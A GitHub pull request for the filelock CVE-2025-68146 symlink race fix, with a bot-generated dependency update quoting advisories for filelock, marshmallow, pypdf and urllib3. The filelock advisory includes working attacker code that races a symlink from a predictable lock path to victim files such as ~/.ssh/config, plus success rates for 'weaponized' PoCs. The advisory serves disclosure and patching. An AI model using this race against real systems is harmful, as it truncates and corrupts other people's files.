CVE-2025-68146: Fix TOCTOU symlink vulnerability in lock file creation #461

gaborbernat · 2025-12-15T23:46:38Z

A race condition existed between checking if the lock file exists and opening it with O_TRUNC, allowing local attackers to create a symlink pointing to victim files. When the lock was acquired, os.open() would follow the symlink and truncate the target file, causing data loss or corruption.

The vulnerability affected both Unix and Windows platforms and cascaded through dependent libraries:

virtualenv: Could overwrite user configs with virtualenv metadata, leaking file contents
PyTorch: Could truncate CPU ISA cache causing crashes, or corrupt compiled model checkpoints preventing
model loading (DoS for ML pipelines)

Unix/Linux/macOS fix:

Add O_NOFOLLOW flag to os.open() call in UnixFileLock._acquire()
System returns ELOOP error if lock path is a symlink, preventing the attack

Windows fix:

Use GetFileAttributesW API via ctypes to detect reparse points (symlinks/junctions)
Refuse to open lock file if FILE_ATTRIBUTE_REPARSE_POINT flag is set
Raises OSError before attempting to open, closing the race window

This addresses CWE-362 (Race Condition), CWE-367 (TOCTOU), and CWE-59 (Link Following).

Reported-by: @tsigouris007

@tsigouris007

A race condition existed between checking if the lock file exists and opening it with O_TRUNC, allowing local attackers to create a symlink pointing to victim files. When the lock was acquired, os.open() would follow the symlink and truncate the target file, causing data loss or corruption. The vulnerability affected both Unix and Windows platforms and cascaded through dependent libraries: - virtualenv: Could overwrite user configs with virtualenv metadata, leaking file contents - PyTorch: Could truncate CPU ISA cache causing crashes, or corrupt compiled model checkpoints preventing model loading (DoS for ML pipelines) Unix/Linux/macOS fix: - Add O_NOFOLLOW flag to os.open() call in UnixFileLock._acquire() - System returns ELOOP error if lock path is a symlink, preventing the attack Windows fix: - Use GetFileAttributesW API via ctypes to detect reparse points (symlinks/junctions) - Refuse to open lock file if FILE_ATTRIBUTE_REPARSE_POINT flag is set - Raises OSError before attempting to open, closing the race window This addresses CWE-362 (Race Condition), CWE-367 (TOCTOU), and CWE-59 (Link Following). Reported-by: @tsigouris007 Signed-off-by: Bernát Gábor <[email protected]>

This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [filelock](https://github.com/tox-dev/py-filelock) | `==3.20.0` → `==3.20.1` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/filelock/3.20.1?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/filelock/3.20.0/3.20.1?slim=true) | | [marshmallow](https://github.com/marshmallow-code/marshmallow) ([changelog](https://marshmallow.readthedocs.io/en/latest/changelog.html)) | `==3.26.1` → `==3.26.2` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/marshmallow/3.26.2?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/marshmallow/3.26.1/3.26.2?slim=true) | | [pypdf](https://github.com/py-pdf/pypdf) ([changelog](https://pypdf.readthedocs.io/en/latest/meta/CHANGELOG.html)) | `==6.3.0` → `==6.4.0` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/pypdf/6.4.0?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/pypdf/6.3.0/6.4.0?slim=true) | | [urllib3](https://github.com/urllib3/urllib3) ([changelog](https://github.com/urllib3/urllib3/blob/main/CHANGES.rst)) | `==2.5.0` → `==2.6.0` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/urllib3/2.6.0?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/urllib3/2.5.0/2.6.0?slim=true) | ### GitHub Vulnerability Alerts #### [CVE-2025-68146](https://github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f) ### Impact A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file. **Who is impacted:** All users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries: - **virtualenv users**: Configuration files can be overwritten with virtualenv metadata, leaking sensitive paths - **PyTorch users**: CPU ISA cache or model checkpoints can be corrupted, causing crashes or ML pipeline failures - **poetry/tox users**: through using virtualenv or filelock on their own. Attack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable. ### Patches Fixed in version **3.20.1**. **Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in UnixFileLock.\_acquire() to prevent symlink following. **Windows fix:** Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock.\_acquire(). **Users should upgrade to filelock 3.20.1 or later immediately.** ### Workarounds If immediate upgrade is not possible: 1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases) 2. Ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks 3. Monitor lock file directories for suspicious symlinks before running trusted applications **Warning:** These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended. ______________________________________________________________________ ## Technical Details: How the Exploit Works ### The Vulnerable Code Pattern **Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`): ```python def _acquire(self) -> None: ensure_directory_exists(self.lock_file) open_flags = os.O_RDWR | os.O_TRUNC # (1) Prepare to truncate if not Path(self.lock_file).exists(): # (2) CHECK: Does file exist? open_flags |= os.O_CREAT fd = os.open(self.lock_file, open_flags, ...) # (3) USE: Open and truncate ``` **Windows** (`src/filelock/_windows.py:19-28`): ```python def _acquire(self) -> None: raise_on_not_writable_file(self.lock_file) # (1) Check writability ensure_directory_exists(self.lock_file) flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC # (2) Prepare to truncate fd = os.open(self.lock_file, flags, ...) # (3) Open and truncate ``` ### The Race Window The vulnerability exists in the gap between operations: **Unix variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file exists? → False T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` **Windows variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file writable? T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink/junction → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` ### Step-by-Step Attack Flow **1. Attacker Setup:** ```python # Attacker identifies target application using filelock lock_path = "/tmp/myapp.lock" # Predictable lock path victim_file = "/home/victim/.ssh/config" # High-value target ``` **2. Attacker Creates Race Condition:** ```python import os import threading def attacker_thread(): # Remove any existing lock file try: os.unlink(lock_path) except FileNotFoundError: pass # Create symlink pointing to victim file os.symlink(victim_file, lock_path) print(f"[Attacker] Created: {lock_path} → {victim_file}") # Launch attack threading.Thread(target=attacker_thread).start() ``` **3. Victim Application Runs:** ```python from filelock import UnixFileLock # Normal application code lock = UnixFileLock("/tmp/myapp.lock") lock.acquire() # ← VULNERABILITY TRIGGERED HERE # At this point, /home/victim/.ssh/config is now 0 bytes! ``` **4. What Happens Inside os.open():** On Unix systems, when `os.open()` is called: ```c // Linux kernel behavior (simplified) int open(const char *pathname, int flags) { struct file *f = path_lookup(pathname); // Resolves symlinks by default! if (flags & O_TRUNC) { truncate_file(f); // ← Truncates the TARGET of the symlink } return file_descriptor; } ``` Without `O_NOFOLLOW` flag, the kernel follows the symlink and truncates the target file. ### Why the Attack Succeeds Reliably **Timing Characteristics:** - **Check operation** (Path.exists()): ~100-500 nanoseconds - **Symlink creation** (os.symlink()): ~1-10 microseconds - **Race window**: ~1-5 microseconds (very small but exploitable) - **Thread scheduling quantum**: ~1-10 milliseconds **Success factors:** 1. **Tight loop**: Running attack in a loop hits the race window within 1-3 attempts 2. **CPU scheduling**: Modern OS thread schedulers frequently context-switch during I/O operations 3. **No synchronization**: No atomic file creation prevents the race 4. **Symlink speed**: Creating symlinks is extremely fast (metadata-only operation) ### Real-World Attack Scenarios **Scenario 1: virtualenv Exploitation** ```python # Victim runs: python -m venv /tmp/myenv # Attacker racing to create: os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg") # Result: /home/victim/.bashrc overwritten with: # home = /usr/bin/python3 # include-system-site-packages = false # version = 3.11.2 # ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker ``` **Scenario 2: PyTorch Cache Poisoning** ```python # Victim runs: import torch # PyTorch checks CPU capabilities, uses filelock on cache # Attacker racing to create: os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock") # Result: Trained ML model checkpoint truncated to 0 bytes # Impact: Weeks of training lost, ML pipeline DoS ``` ### Why Standard Defenses Don't Help **File permissions don't prevent this:** - Attacker doesn't need write access to victim_file - os.open() with O_TRUNC follows symlinks using the *victim's* permissions - The victim process truncates its own file **Directory permissions help but aren't always feasible:** - Lock files often created in shared /tmp directory (mode 1777) - Applications may not control lock file location - Many apps use predictable paths in user-writable directories **File locking doesn't prevent this:** - The truncation happens *during* the open() call, before any lock is acquired - fcntl.flock() only prevents concurrent lock acquisition, not symlink attacks ### Exploitation Proof-of-Concept Results From empirical testing with the provided PoCs: **Simple Direct Attack** (`filelock_simple_poc.py`): - Success rate: 33% per attempt (1 in 3 tries) - Average attempts to success: 2.1 - Target file reduced to 0 bytes in \<100ms **virtualenv Attack** (`weaponized_virtualenv.py`): - Success rate: ~90% on first attempt (deterministic timing) - Information leaked: File paths, Python version, system configuration - Data corruption: Complete loss of original file contents **PyTorch Attack** (`weaponized_pytorch.py`): - Success rate: 25-40% per attempt - Impact: Application crashes, model loading failures - Recovery: Requires cache rebuild or model retraining **Discovered and reported by:** George Tsigourakos (@tsigouris007) #### [CVE-2025-68480](https://github.com/marshmallow-code/marshmallow/security/advisories/GHSA-428g-f7cq-pgp5) ### Impact `Schema.load(data, many=True)` is vulnerable to denial of service attacks. A moderately sized request can consume a disproportionate amount of CPU time. ### Patches 4.1.2, 3.26.2 ### Workarounds ```py # Fail fast def load_many(schema, data, **kwargs): if not isinstance(data, list): raise ValidationError(['Invalid input type.']) return [schema.load(item, **kwargs) for item in data] ``` #### [CVE-2025-66019](https://github.com/py-pdf/pypdf/security/advisories/GHSA-jfx9-29x2-rv3j) ### Impact An attacker who uses this vulnerability can craft a PDF which leads to a memory usage of up to 1 GB per stream. This requires parsing the content stream of a page using the LZWDecode filter. This is a follow up to [GHSA-jfx9-29x2-rv3j](https://github.com/py-pdf/pypdf/security/advisories/GHSA-jfx9-29x2-rv3j) to align the default limit with the one for *zlib*. ### Patches This has been fixed in [pypdf==6.4.0](https://github.com/py-pdf/pypdf/releases/tag/6.4.0). ### Workarounds If users cannot upgrade yet, use the line below to overwrite the default in their code: ```python pypdf.filters.LZW_MAX_OUTPUT_LENGTH = 75_000_000 ``` #### [CVE-2025-66418](https://github.com/urllib3/urllib3/security/advisories/GHSA-gm62-xv2j-4w53) ## Impact urllib3 supports chained HTTP encoding algorithms for response content according to RFC 9110 (e.g., `Content-Encoding: gzip, zstd`). However, the number of links in the decompression chain was unbounded allowing a malicious server to insert a virtually unlimited number of compression steps leading to high CPU usage and massive memory allocation for the decompressed data. ## Affected usages Applications and libraries using urllib3 version 2.5.0 and earlier for HTTP requests to untrusted sources unless they disable content decoding explicitly. ## Remediation Upgrade to at least urllib3 v2.6.0 in which the library limits the number of links to 5. If upgrading is not immediately possible, use [`preload_content=False`](https://urllib3.readthedocs.io/en/2.5.0/advanced-usage.html#streaming-and-i-o) and ensure that `resp.headers["content-encoding"]` contains a safe number of encodings before reading the response content. #### [CVE-2025-66471](https://github.com/urllib3/urllib3/security/advisories/GHSA-2xpw-w6gg-jr37) ### Impact urllib3's [streaming API](https://urllib3.readthedocs.io/en/2.5.0/advanced-usage.html#streaming-and-i-o) is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once. When streaming a compressed response, urllib3 can perform decoding or decompression based on the HTTP `Content-Encoding` header (e.g., `gzip`, `deflate`, `br`, or `zstd`). The library must read compressed data from the network and decompress it until the requested chunk size is met. Any resulting decompressed data that exceeds the requested amount is held in an internal buffer for the next read operation. The decompression logic could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This can result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side, even if the application only requested a small chunk of data. ### Affected usages Applications and libraries using urllib3 version 2.5.0 and earlier to stream large compressed responses or content from untrusted sources. `stream()`, `read(amt=256)`, `read1(amt=256)`, `read_chunked(amt=256)`, `readinto(b)` are examples of `urllib3.HTTPResponse` method calls using the affected logic unless decoding is disabled explicitly. ### Remediation Upgrade to at least urllib3 v2.6.0 in which the library avoids decompressing data that exceeds the requested amount. If your environment contains a package facilitating the Brotli encoding, upgrade to at least Brotli 1.2.0 or brotlicffi 1.2.0.0 too. These versions are enforced by the `urllib3[brotli]` extra in the patched versions of urllib3. ### Credits The issue was reported by @Cycloctane. Supplemental information was provided by @stamparm during a security audit performed by [7ASecurity](https://7asecurity.com/) and facilitated by [OSTIF](https://ostif.org/). --- ### Release Notes <details> <summary>tox-dev/py-filelock (filelock)</summary> ### [`v3.20.1`](https://github.com/tox-dev/filelock/releases/tag/3.20.1) [Compare Source](https://github.com/tox-dev/py-filelock/compare/3.20.0...3.20.1)  ##### What's Changed - CVE-2025-68146: Fix TOCTOU symlink vulnerability in lock file creation by [@gaborbernat](https://github.com/gaborbernat) in [tox-dev/filelock#461](https://github.com/tox-dev/filelock/pull/461) **Full Changelog**: <tox-dev/filelock@3.20.0...3.20.1> </details> <details> <summary>marshmallow-code/marshmallow (marshmallow)</summary> ### [`v3.26.2`](https://github.com/marshmallow-code/marshmallow/blob/HEAD/CHANGELOG.rst#3262-2025-12-19) [Compare Source](https://github.com/marshmallow-code/marshmallow/compare/3.26.1...3.26.2) Bug fixes: - :cve:`2025-68480`: Merge error store messages without rebuilding collections. Thanks 카푸치노 for reporting and :user:`deckar01` for the fix. </details> <details> <summary>py-pdf/pypdf (pypdf)</summary> ### [`v6.4.0`](https://github.com/py-pdf/pypdf/blob/HEAD/CHANGELOG.md#Version-641-2025-12-07) [Compare Source](https://github.com/py-pdf/pypdf/compare/6.3.0...6.4.0) ##### Performance Improvements (PI) - Optimize loop for layout mode text extraction ([#3543](https://github.com/py-pdf/pypdf/issues/3543)) ##### Bug Fixes (BUG) - Do not fail on choice field without /Opt key ([#3540](https://github.com/py-pdf/pypdf/issues/3540)) ##### Documentation (DOC) - Document possible issues with merge\_page and clipping ([#3546](https://github.com/py-pdf/pypdf/issues/3546)) - Add some notes about library security ([#3545](https://github.com/py-pdf/pypdf/issues/3545)) ##### Maintenance (MAINT) - Use CORE\_FONT\_METRICS for widths where possible ([#3526](https://github.com/py-pdf/pypdf/issues/3526)) [Full Changelog](https://github.com/py-pdf/pypdf/compare/6.4.0...6.4.1) </details> <details> <summary>urllib3/urllib3 (urllib3)</summary> ### [`v2.6.0`](https://github.com/urllib3/urllib3/blob/HEAD/CHANGES.rst#260-2025-12-05) [Compare Source](https://github.com/urllib3/urllib3/compare/2.5.0...2.6.0) \================== ## Security - Fixed a security issue where streaming API could improperly handle highly compressed HTTP content ("decompression bombs") leading to excessive resource consumption even when a small amount of data was requested. Reading small chunks of compressed data is safer and much more efficient now. (`GHSA-2xpw-w6gg-jr37 <https://github.com/urllib3/urllib3/security/advisories/GHSA-2xpw-w6gg-jr37>`\_\_) - Fixed a security issue where an attacker could compose an HTTP response with virtually unlimited links in the `Content-Encoding` header, potentially leading to a denial of service (DoS) attack by exhausting system resources during decoding. The number of allowed chained encodings is now limited to 5. (`GHSA-gm62-xv2j-4w53 <https://github.com/urllib3/urllib3/security/advisories/GHSA-gm62-xv2j-4w53>`\_\_) .. caution:: - If urllib3 is not installed with the optional `urllib3[brotli]` extra, but your environment contains a Brotli/brotlicffi/brotlipy package anyway, make sure to upgrade it to at least Brotli 1.2.0 or brotlicffi 1.2.0.0 to benefit from the security fixes and avoid warnings. Prefer using `urllib3[brotli]` to install a compatible Brotli package automatically. - If you use custom decompressors, please make sure to update them to respect the changed API of `urllib3.response.ContentDecoder`. ## Features - Enabled retrieval, deletion, and membership testing in `HTTPHeaderDict` using bytes keys. (`#3653 <https://github.com/urllib3/urllib3/issues/3653>`\_\_) - Added host and port information to string representations of `HTTPConnection`. (`#3666 <https://github.com/urllib3/urllib3/issues/3666>`\_\_) - Added support for Python 3.14 free-threading builds explicitly. (`#3696 <https://github.com/urllib3/urllib3/issues/3696>`\_\_) ## Removals - Removed the `HTTPResponse.getheaders()` method in favor of `HTTPResponse.headers`. Removed the `HTTPResponse.getheader(name, default)` method in favor of `HTTPResponse.headers.get(name, default)`. (`#3622 <https://github.com/urllib3/urllib3/issues/3622>`\_\_) ## Bugfixes - Fixed redirect handling in `urllib3.PoolManager` when an integer is passed for the retries parameter. (`#3649 <https://github.com/urllib3/urllib3/issues/3649>`\_\_) - Fixed `HTTPConnectionPool` when used in Emscripten with no explicit port. (`#3664 <https://github.com/urllib3/urllib3/issues/3664>`\_\_) - Fixed handling of `SSLKEYLOGFILE` with expandable variables. (`#3700 <https://github.com/urllib3/urllib3/issues/3700>`\_\_) ## Misc - Changed the `zstd` extra to install `backports.zstd` instead of `zstandard` on Python 3.13 and before. (`#3693 <https://github.com/urllib3/urllib3/issues/3693>`\_\_) - Improved the performance of content decoding by optimizing `BytesQueueBuffer` class. (`#3710 <https://github.com/urllib3/urllib3/issues/3710>`\_\_) - Allowed building the urllib3 package with newer setuptools-scm v9.x. (`#3652 <https://github.com/urllib3/urllib3/issues/3652>`\_\_) - Ensured successful urllib3 builds by setting Hatchling requirement to >= 1.27.0. (`#3638 <https://github.com/urllib3/urllib3/issues/3638>`\_\_) </details> --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://github.com/renovatebot/renovate/discussions) if that's undesired. --- - [ ] If you want to rebase/retry this PR, check this box --- This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).  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gaborbernat force-pushed the cve branch from 541aab7 to abd3cee Compare December 15, 2025 23:47

gaborbernat changed the title ~~Fix TOCTOU symlink vulnerability in lock file creation~~ CVE-2025-68146: Fix TOCTOU symlink vulnerability in lock file creation Dec 15, 2025

gaborbernat force-pushed the cve branch from 18a9988 to e84510e Compare December 15, 2025 23:49

gaborbernat merged commit 4724d7f into tox-dev:main Dec 15, 2025
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CVE-2025-68146: Fix TOCTOU symlink vulnerability in lock file creation #461

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